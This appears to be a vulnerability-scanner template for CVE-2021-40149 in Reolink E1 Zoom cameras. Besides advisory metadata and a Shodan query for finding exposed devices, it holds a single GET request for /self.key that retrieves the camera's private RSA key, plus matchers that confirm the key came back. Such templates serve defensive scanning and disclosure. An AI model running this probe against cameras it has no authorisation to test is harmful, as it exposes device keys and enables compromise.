id: CVE-2021-40149

info:
  name: Reolink E1 Zoom Camera <=3.0.0.716 - Private Key Disclosure
  author: For3stCo1d
  severity: medium
  description: |
    Reolink E1 Zoom Camera versions 3.0.0.716 and below suffer from a private key (RSA) disclosure vulnerability.
  impact: |
    An attacker can obtain the private key, potentially leading to unauthorized access and compromise of the camera.
  remediation: |
    Upgrade the Reolink E1 Zoom Camera to a version higher than 3.0.0.716 to mitigate the vulnerability.
  reference:
    - https://dl.packetstormsecurity.net/2206-exploits/reolinke1key-disclose.txt
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-40149.txt
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40149
    - http://packetstormsecurity.com/files/167407/Reolink-E1-Zoom-Camera-3.0.0.716-Private-Key-Disclosure.html
    - https://github.com/MrTuxracer/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2021-40149
    cwe-id: CWE-552
    epss-score: 0.00942
    epss-percentile: 0.82739
    cpe: cpe:2.3:o:reolink:e1_zoom_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: reolink
    product: e1_zoom_firmware
    shodan-query: http.title:"Reolink"
  tags: cve2021,cve,exposure,unauth,packetstorm,reolink,camera,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/self.key"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '(?m)^-----BEGIN PRIVATE KEY-----'

      - type: word
        part: header
        words:
          - "application/json"
          - "application/html"
        condition: and
        negative: true

      - type: status
        status:
          - 200
# digest: 490a00463044022073d439d60074e5d1c5d1337480dffdffea8f90c2d58d768b7d08a2c4498f585a02201a7e02758d8c5b5caf499e37224e8921c170b88c2dcc0be46064b4d10546f7d8:922c64590222798bb761d5b6d8e72950